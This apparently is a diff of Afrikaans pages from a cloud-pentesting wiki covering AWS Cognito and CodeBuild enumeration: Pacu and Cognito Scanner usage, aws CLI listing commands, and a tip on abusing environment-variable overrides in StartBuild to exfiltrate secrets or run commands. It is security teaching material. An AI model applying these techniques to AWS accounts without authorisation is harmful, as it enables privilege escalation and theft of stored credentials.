Voorbeeldgebruik van cognito\_\_enum om alle user pools, user pool clients, identity pools, users, ens. sigbaar in die huidige AWS-rekening te versamel:
|
||||
Voorbeeldgebruik van cognito__enum om alle user pools, user pool clients, identity pools, users, ens. wat in die huidige AWS-rekening sigbaar is, te versamel:
|
||||
```bash
|
||||
Pacu (new:test) > run cognito__enum
|
||||
```
|
||||
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is 'n CLI tool in python wat verskeie aanvalle op Cognito implementeer, insluitend 'n privesc-eskalasie.
|
||||
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is 'n CLI tool in python wat verskillende attacks op Cognito implementeer, insluitend 'n privesc escalation.
|
||||
|
||||
#### Installasie
|
||||
```bash
|
||||
@@ -269,6 +317,6 @@ $ pip install cognito-scanner
|
||||
```bash
|
||||
$ cognito-scanner --help
|
||||
```
|
||||
Vir meer inligting, sien [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
|
||||
Vir meer inligting besoek [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,30 +1,28 @@
|
||||
# AWS - Codebuild Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CodeBuild
|
||||
|
||||
AWS **CodeBuild** word erken as 'n **volledig bestuurde deurlopende integrasiediens**. Die primêre doel van hierdie diens is om die volgorde van die saamstel van bronkode, die uitvoer van toetse, en die verpakking van die sagteware vir ontplooiing te outomatiseer. Die hoofvoordeel wat deur CodeBuild aangebied word, lê in sy vermoë om die behoefte aan gebruikers om hul boubedieners te voorsien, te bestuur en te skaal, te verlig. Hierdie gerief is omdat die diens self hierdie take bestuur. Belangrike kenmerke van AWS CodeBuild sluit in:
|
||||
AWS **CodeBuild** word erken as 'n **volledig bestuurde deurlopende integrasie-diens**. Die hoofdoel van hierdie diens is om die reeks van bronkode saamstel, toetse uitvoer en die sagteware vir implementering te verpak te outomatiseer. Die voornaamste voordeel wat CodeBuild bied, is dat dit die behoefte van gebruikers om hul build-bedieners te voorsien, te bestuur en op te skaal verminder. Hierdie gerief bestaan omdat die diens self hierdie take bestuur. Essensiële kenmerke van AWS CodeBuild sluit in:
|
||||
|
||||
1. **Bestuurde Diens**: CodeBuild bestuur en skaal die boubedieners, wat gebruikers vrymaak van bedieneronderhoud.
|
||||
2. **Deurlopende Integrasie**: Dit integreer met die ontwikkeling en ontplooiing werkvloei, wat die bou- en toetsfases van die sagtewarevrystellingsproses outomatiseer.
|
||||
3. **Pakketproduksie**: Na die bou- en toetsfases, berei dit die sagtewarepakkette voor, wat dit gereed maak vir ontplooiing.
|
||||
1. **Bestuurde diens**: CodeBuild bestuur en skaal die build-bedieners, sodat gebruikers vrygestel word van bedieneronderhoud.
|
||||
2. **Deurlopende integrasie**: Dit integreer met die ontwikkel- en implementeringswerkvloei, en outomatiseer die bou- en toetsfases van die sagtewarevrystellingsproses.
|
||||
3. **Pakketproduksie**: Na die bou- en toetsfases berei dit die sagtewarepakkette voor, sodat dit gereed is vir implementering.
|
||||
|
||||
AWS CodeBuild integreer naatloos met ander AWS-dienste, wat die doeltreffendheid en betroubaarheid van die CI/CD (Deurlopende Integrasie/Deurlopende Ontplooiing) pyplyn verbeter.
|
||||
AWS CodeBuild integreer naatloos met ander AWS-dienste, wat die doeltreffendheid en betroubaarheid van die CI/CD (Deurlopende Integrasie/Deurlopende Ontplooiing)-pyplyn verbeter.
|
||||
|
||||
### **Github/Gitlab/Bitbucket Kredensiale**
|
||||
### **Github/Gitlab/Bitbucket Toegangsbewyse**
|
||||
|
||||
#### **Standaard bronkredensiale**
|
||||
#### **Standaard bron-toegangsbewyse**
|
||||
|
||||
Dit is die nalatenskapopsie waar dit moontlik is om 'n paar **toegang** (soos 'n Github-token of -toepassing) te konfigureer wat **oor codebuild-projekte gedeel sal word**, sodat al die projekte hierdie geconfigureerde stel kredensiale kan gebruik.
|
||||
Dit is die ou opsie waar dit moontlik is om 'n bepaalde **toegang** (soos 'n Github-token of -app) te konfigureer wat oor **codebuild projects** gedeel sal word, sodat al die projekte hierdie gekonfigureerde stel toegangsbewyse kan gebruik.
|
||||
|
||||
Die gestoor kredensiale (tokens, wagwoorde...) word **deur codebuild bestuur** en daar is geen openbare manier om dit van AWS APIs te onttrek nie.
|
||||
Die gestoorde toegangsbewyse (tokens, wagwoorde...) word **deur codebuild bestuur** en daar is geen openbare manier om dit vanaf AWS APIs op te haal nie.
|
||||
|
||||
#### Pasgemaakte bronkredensiaal
|
||||
#### Aangepaste bron-toegangsbewyse
|
||||
|
||||
Afhangende van die bergingsplatform (Github, Gitlab en Bitbucket) word verskillende opsies aangebied. Maar in die algemeen, enige opsie wat vereis om 'n **token of 'n wagwoord te stoor, sal dit as 'n geheim in die geheime bestuurder stoor**.
|
||||
Afhangend van die repository platform (Github, Gitlab en Bitbucket) word verskillende opsies voorsien. Maar oor die algemeen sal enige opsie wat vereis dat 'n **token of wagwoord gestoor word, dit as 'n geheim in die secrets manager stoor**.
|
||||
|
||||
Dit stel **verskillende codebuild-projekte in staat om verskillende geconfigureerde toegang te gebruik** tot die verskaffers in plaas van net die geconfigureerde standaard een te gebruik.
|
||||
Dit laat **verskillende codebuild projects toe om verskillende gekonfigureerde toegang** tot die verskaffers te gebruik in plaas van net die gekonfigureerde standaardtoegang.
|
||||
|
||||
### Enumerasie
|
||||
```bash
|
||||
@@ -47,9 +45,12 @@ aws codebuild list-build-batches-for-project --project-name <p_name>
|
||||
aws codebuild list-reports
|
||||
aws codebuild describe-test-cases --report-arn <ARN>
|
||||
```
|
||||
> [!TIP]
|
||||
> As jy `codebuild:StartBuild` het, onthou dat jy dikwels omgewingsveranderlikes tydens die build kan oorskryf (`--environment-variables-override`). Dit is genoeg vir sekere aanvalle selfs sonder `UpdateProject` of `buildspec` overrides (byvoorbeeld: om artifact/upload buckets te herlei om geheime te eksfiltreer, of om taal/runtime omgewingsveranderlikes te misbruik om opdragte uit te voer).
|
||||
|
||||
### Privesc
|
||||
|
||||
In die volgende bladsy kan jy kyk hoe om **kodebou toestemmings te misbruik om voorregte te verhoog**:
|
||||
Op die volgende bladsy kan jy kyk hoe om **codebuild-permissies te misbruik om bevoegdhede te verhoog**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-codebuild-privesc/README.md
|
||||
@@ -67,7 +68,7 @@ In die volgende bladsy kan jy kyk hoe om **kodebou toestemmings te misbruik om v
|
||||
../aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html](https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user